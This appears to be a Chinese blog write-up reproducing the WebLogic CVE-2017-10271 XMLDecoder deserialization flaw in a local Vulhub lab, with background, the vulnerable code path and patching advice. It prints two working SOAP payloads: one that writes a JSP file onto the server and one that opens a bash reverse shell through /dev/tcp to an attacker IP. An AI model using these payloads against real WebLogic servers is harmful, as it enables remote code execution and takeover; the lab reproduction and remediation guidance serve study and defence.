天天看點

CVE-2017-10271漏洞複現CVE-2017-10271複現

CVE-2017-10271複現

一、啟動環境

​ 靶機:ubantu20.04 IP:192.168.3.115

​ 攻擊機:win10 IP:192.168.1.238

​ 在ubantu 20.04 搭建 Vulhub 環境中已經介紹了怎麼啟動環境。

二、漏洞資訊

​ WebLogic WLS元件中存在CVE-2017-10271遠端代碼執行漏洞,可以構造請求對運作WebLogic中間件的主機進行攻擊,近期發現此漏洞的利用方式為傳播挖礦程式。

(一)、漏洞描述

​ 在了解CVE-2017-10271之前我們先了解一下什麼是WebLogic。

注:來源于百度詞條

​1、什麼是WebLogic

​	WebLogic是沒過Oracle公司出品的一個application server,确切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、內建、部署和管理大型分布式的WEB應用、網絡應用和資料庫應用的Java應用伺服器。将Java的動态功能和JavaEnterorise标準的安全性引入大型網絡應用的開發、內建、部署和管理之中。  

​2、WebLogic有什麼優勢?

​	1.标準

​		對于業内多種标準的全面支援,是WEB應用系統的實施更為友善,同時也使基于标準的解決方案的開發更簡便。  

​	2.可擴充性

​		以高擴充的架構體系聞名業内,包括客戶機連接配接的共享、資源pooling以及動态頁面和EJB元件叢集。

​	3.快速開發

​		憑借對EJB和JSP的支援,以及Servlet元件架構體系,可加速投放市場速度。開放性标準與WebGain Studio配合時,可簡化開發,并可發揮已有的技能,迅速部署應用系統  

​	4.更趨靈活

​		與領先的資料庫、作業系統和Web伺服器緊密內建。

​	5.可靠性

​		容錯、系統管理和安全性已在全球數以千計的關鍵任務環境中得以驗證。

​	6.體系結構
           
(二)、影響版本

​ 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 , 12.2.1.2

(三)、漏洞解析

​ 漏洞觸發位置:wls-wsat.war。

​ 漏洞觸發url:/wls-wsat/CoordinatorPortType(POST)。

​ 漏洞本質:主要是由于wls元件使用了webservice來請求soap請求,是以通過構造SOAP(XML)格式的請求,在解析的過程中導緻XMLDecoder反序列化漏洞,可導緻執行任意指令。

在weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法中,當localHeader1和localHeader2都不為null時,将會把<work:WorkContext>所包含的資料傳入weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法。在此方法中,對WorkContextXmlInputAdapter類進行了執行個體化,并調用WorkContextXmlInputAdapter類的構造方法,通過XMLDecoder()進行反序列化操作。
這裡的<work:WorkContext>是最關鍵的。
           

​ 摘抄自縫縫補補的WebLogic:繞過的藝術

​ 擴充:

​ SOAP:SOAP是Web服務安全性内置協定,采用保密和身份驗證規則集的方式,支援OASIS和W3C制定的标準,結合使用XML加密、XML簽名和SAML令牌等方式來驗證身份和授權。SOAP更安全,适合于處理敏感資料,但是比較笨重。

(四)、漏洞複現

​ 由于靶場的ip為192.168.3.115,是以通路192.168.3.115:7001。當頁面傳回下圖時證明通路環境搭建成功。

CVE-2017-10271漏洞複現CVE-2017-10271複現

​ 由于觸發url為/wls-wsat/CoordinatorPortType,通路http://192.168.3.115:7001/wls-wsat/CoordinatorPortType。

CVE-2017-10271漏洞複現CVE-2017-10271複現

​ 這裡攔截資料包,發現是一個GET請求的,這裡需要将GET請求更改為POST請求change request method,同時插入構造的soap請求。

CVE-2017-10271漏洞複現CVE-2017-10271複現

​ soap POC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
           <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
                <void method="println">
                    <string>
                        <![CDATA[
                            <% out.print("test"); %>
                        ]]>
                	</string>
                </void>
                <void method="close"/>
            </object></java></java>
    </work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
           

​ 上傳成功

CVE-2017-10271漏洞複現CVE-2017-10271複現

​ 反彈shell

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>bash -i &gt;&amp; /dev/tcp/192.168.3.125/21 0&gt;&amp;1</string>
                        </void> #/dev/tcp/監聽機的ip/監聽的端口
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>
           
CVE-2017-10271漏洞複現CVE-2017-10271複現
(五)、修複建議

1.臨時解決方案

根據攻擊者利用POC分析發現所利用的為wls-wsat元件的CoordinatorPortType接口,若Weblogic伺服器叢集中未應用此元件,建議臨時備份後将此元件删除,當形成防護能力後,再進行恢複。

根據實際環境路徑,删除WebLogic wls-wsat元件:

rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war

rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

重新開機Weblogic域控制器服務:

DOMAIN_NAME/bin/stopWeblogic.sh #停止服務

DOMAIN_NAME/bin/startManagedWebLogic.sh #啟動服務

删除以上檔案之後,需重新開機WebLogic。确認http://weblogic_ip/wls-wsat/ 是否為404頁面。

2.官方更新檔修複

前往Oracle官網下載下傳10月份所提供的安全更新檔

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

更新過程可參考:

http://blog.csdn.net/qqlifu/article/details/49423839

摘抄自XML Decoder反序列化漏洞(CVE-2017-10271)

繼續閱讀